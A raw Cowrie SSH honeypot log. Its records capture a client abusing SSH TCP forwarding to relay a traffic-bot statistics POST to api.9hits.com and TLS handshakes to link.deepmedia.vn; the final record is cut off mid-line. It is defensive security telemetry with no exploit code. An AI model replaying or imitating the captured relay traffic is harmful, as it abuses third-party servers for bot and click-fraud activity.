{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:31.233258Z","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:31.238550Z","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:31.301357Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; 8088X_EEA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bkJEK08%2FMVozK2NhSDZzJQ%3D%3DjbIyh3lyt%2FBzmyn57bfHbecQinkqG8E4QJuo5JtflMrNoXg4HJmT0c7VAqmcwn7uhxXQr%2FpKNUZGAbNHFPEvDC9wlg0tVWFcymTen4Y%2FAaEX0SOA%2F7DjTqiGLhn8RtKVoh68OGX094yRKW%2BLEqtpR2ok2CSqZ06wurLr8jCs5hgLmbkexdyK%2BbB6IyMBQVxm8jVIaILUg9XdfkrbLj3AqTAuFfTaLjiyWx1o9SJctvrf6YSJn31e4ZI6rOsSshRdjeTH2MqoE2T6hZLP%2BLeG7J648KxFWuvt7DSVGjeL%2FpqmWky6P5RrANNDB6g6JuJyrNo58n%2FDzCv2feY3f4sxvSq6d4Pa1eN3UQ9Al4u06Eal4j0wH27YVs1ymSG%2BPflCYlaenK3GXJCWCUKCVsN8DUxOU9TA%2FvQIBWoKeY15qnEQqQ%2FIwk%2F9EkAL6jzO%2BnVY6BaHVsXF2UPVmodP3QKOOZpbmb22XP9%2FvUkQBdoFSm%2F6QYpwbuNeRoE%2FJL0G8W30Yhtv%2F6HQ6HFvEaRT1nrdxKaAkfdcxo%2FPyflQfe3jDGkzfSCa%2FWH3wS9bt%2Fyrd6DfOrsJBmedhFtGMSRKpVWQU1crmKLCv5gQyxIWnkhyuWeAMcVPZhJy3Qm%2FrWN7CvTNWgOds9d0LsGaW%2Bze3Iof5IPawNungqIAgNbmUrxn6lQvPFRaz230v1cYbTi%2F%2FGch8h2n7oz%2FqcyU6i96OxvLAYIv9YJa5QoPdoCqbJ1n%2FueqDmMy%2Fp5%2BR1iDCDOJTcLLKWc3R7hh1VulhFpNvt4GJlLwP18V%2Blw39ds9t4l45ASuCA6G17Xkez7k3162uCmrqdOdYvZVEfWoG9wGusI2YDMEPzUhUnLLN9aqHGMoUEytHWCSXlA2yIEaciNngMcYyXC0EuKEKDR6kgzw7HRLOHA53a5CXe3ZPQiD0CVHfaVB8YBIgNk4ZP9S%2B4AX5D17D%2F88G76hj3Lcs1CFC3Yt98NiYZjtp9LCjDoQJwBcfHQw5NJC7EVsikv3fhFRXS%2FoLVwkIS8n7r%2FF3V2svxOKug%3D%3D'","id":1,"message":"discarded direct-tcp forward request 1 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1152\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Linux; Android 9; 8088X_EEA) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Mobile Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=bkJEK08%2FMVozK2NhSDZzJQ%3D%3DjbIyh3lyt%2FBzmyn57bfHbecQinkqG8E4QJuo5JtflMrNoXg4HJmT0c7VAqmcwn7uhxXQr%2FpKNUZGAbNHFPEvDC9wlg0tVWFcymTen4Y%2FAaEX0SOA%2F7DjTqiGLhn8RtKVoh68OGX094yRKW%2BLEqtpR2ok2CSqZ06wurLr8jCs5hgLmbkexdyK%2BbB6IyMBQVxm8jVIaILUg9XdfkrbLj3AqTAuFfTaLjiyWx1o9SJctvrf6YSJn31e4ZI6rOsSshRdjeTH2MqoE2T6hZLP%2BLeG7J648KxFWuvt7DSVGjeL%2FpqmWky6P5RrANNDB6g6JuJyrNo58n%2FDzCv2feY3f4sxvSq6d4Pa1eN3UQ9Al4u06Eal4j0wH27YVs1ymSG%2BPflCYlaenK3GXJCWCUKCVsN8DUxOU9TA%2FvQIBWoKeY15qnEQqQ%2FIwk%2F9EkAL6jzO%2BnVY6BaHVsXF2UPVmodP3QKOOZpbmb22XP9%2FvUkQBdoFSm%2F6QYpwbuNeRoE%2FJL0G8W30Yhtv%2F6HQ6HFvEaRT1nrdxKaAkfdcxo%2FPyflQfe3jDGkzfSCa%2FWH3wS9bt%2Fyrd6DfOrsJBmedhFtGMSRKpVWQU1crmKLCv5gQyxIWnkhyuWeAMcVPZhJy3Qm%2FrWN7CvTNWgOds9d0LsGaW%2Bze3Iof5IPawNungqIAgNbmUrxn6lQvPFRaz230v1cYbTi%2F%2FGch8h2n7oz%2FqcyU6i96OxvLAYIv9YJa5QoPdoCqbJ1n%2FueqDmMy%2Fp5%2BR1iDCDOJTcLLKWc3R7hh1VulhFpNvt4GJlLwP18V%2Blw39ds9t4l45ASuCA6G17Xkez7k3162uCmrqdOdYvZVEfWoG9wGusI2YDMEPzUhUnLLN9aqHGMoUEytHWCSXlA2yIEaciNngMcYyXC0EuKEKDR6kgzw7HRLOHA53a5CXe3ZPQiD0CVHfaVB8YBIgNk4ZP9S%2B4AX5D17D%2F88G76hj3Lcs1CFC3Yt98NiYZjtp9LCjDoQJwBcfHQw5NJC7EVsikv3fhFRXS%2FoLVwkIS8n7r%2FF3V2svxOKug%3D%3D'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:31.304320Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:32.942204Z","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:32.947385Z","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:33.003610Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03e\\x19K\\xba\\xb09\\x9a\\xa7\\x06\\xa5bsQ\\xc1\\x7fK\\x06Y\\x87\\x012\\xdd\\x92?\\x00\\xd3\\xc2\\xb3\\xa9\\x08\\x8b\\xa8 %p\\x03\\xae\\xb3\\xcc\\x8a\\xb4\\x90\\xaf\\xc4\\x9cD\\xe7\\x95\\xd1!5\\xe9\\xe2'\\xe1\\x08\\xfd\\x95\\x0c\\x82\\x08\\x7f_b\\xfb\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 }I\\xee\\x80\\xf4\\x02S\\xc4#\\x9a.Q=uN\\xa7\\x0f#)\\x9fp\\x0f\\x83`\\xa0\\xe2~\\x1bH\\xbad#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03e\\x19K\\xba\\xb09\\x9a\\xa7\\x06\\xa5bsQ\\xc1\\x7fK\\x06Y\\x87\\x012\\xdd\\x92?\\x00\\xd3\\xc2\\xb3\\xa9\\x08\\x8b\\xa8 %p\\x03\\xae\\xb3\\xcc\\x8a\\xb4\\x90\\xaf\\xc4\\x9cD\\xe7\\x95\\xd1!5\\xe9\\xe2'\\xe1\\x08\\xfd\\x95\\x0c\\x82\\x08\\x7f_b\\xfb\\x00 \\xfa\\xfa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93zz\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x1a\\x1a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x1a\\x1a\\x00\\x01\\x00\\x00\\x1d\\x00 }I\\xee\\x80\\xf4\\x02S\\xc4#\\x9a.Q=uN\\xa7\\x0f#)\\x9fp\\x0f\\x83`\\xa0\\xe2~\\x1bH\\xbad#\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nzz\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xba\\xba\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:33.007389Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:33.013700Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xda\\x0e\\x1d\\xed\\x8cn!y\\x8a\\x1a\\xc7\\xd1F\\xba\\xd8=\\xe5A\\x7f\\xf9\\x14\\xbd\\xc5]@\\x92v\\xed\\xcf\\xb7v9 \\xce\\xfbs=\\x81&l\\n\\x15\\xab\\x9f%\\xa7'\\xf5\\xfe\\x14\\x98\\x8fIJ\\xbe!\\x88\\xb6Z\\xbf\\x8aZ\\x8f\\x1e>\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbc\\xd9\\xb7\\x0eu\\xef\\xf7\\xda\\xbd\\x8a\\x97\\xc1\\x8fL\\xa0=<\\x840.\\xd7\\x8b\\xd5t\\x0c\\x02\\x9c\\xd9y\\xda\\x06\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":3,"message":"discarded direct-tcp forward request 3 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xda\\x0e\\x1d\\xed\\x8cn!y\\x8a\\x1a\\xc7\\xd1F\\xba\\xd8=\\xe5A\\x7f\\xf9\\x14\\xbd\\xc5]@\\x92v\\xed\\xcf\\xb7v9 \\xce\\xfbs=\\x81&l\\n\\x15\\xab\\x9f%\\xa7'\\xf5\\xfe\\x14\\x98\\x8fIJ\\xbe!\\x88\\xb6Z\\xbf\\x8aZ\\x8f\\x1e>\\x00 \\x9a\\x9a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08ZZ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)ZZ\\x00\\x01\\x00\\x00\\x1d\\x00 \\xbc\\xd9\\xb7\\x0eu\\xef\\xf7\\xda\\xbd\\x8a\\x97\\xc1\\x8fL\\xa0=<\\x840.\\xd7\\x8b\\xd5t\\x0c\\x02\\x9c\\xd9y\\xda\\x06\\x1d\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:33.016241Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:33.193180Z","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:33.198700Z","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:36:33.254837Z","src_ip":"23.175.50.52","session":"4b096cc2c7d3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xa5\\xb3\\xe46\\xfaN )T\\xdf\\xb7\\x0c\\xf8\\x04h}P\\xf4\\xe0`\\xff\\xa0u\\x99\\xe5\\xc3\\xce_#\\xa9\\x88\\xbb  \\xd5\\x13\\x12S\\xde\\xce.\\x8a\\xfc\\xd5\\xfd\\xb83\\xf4\\xd2\\x9eQ\\x9d;\\xb5\">\\xff\\xe0\\xd5q\\xa4\\x8e(k\\xb3\\x00\"\\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91jj\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xc1\\x9b\\xdb\\x90\\x8d\\xf1\\x92\\xa5B\\x0cI\\xd3\\x08\\xf7\\xca\\x9b\\x90\\xb9Z\\xe4\\xc8\\xe8C\\xcde\\x80\\xb1\\x14\\x82|\\x8cr\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00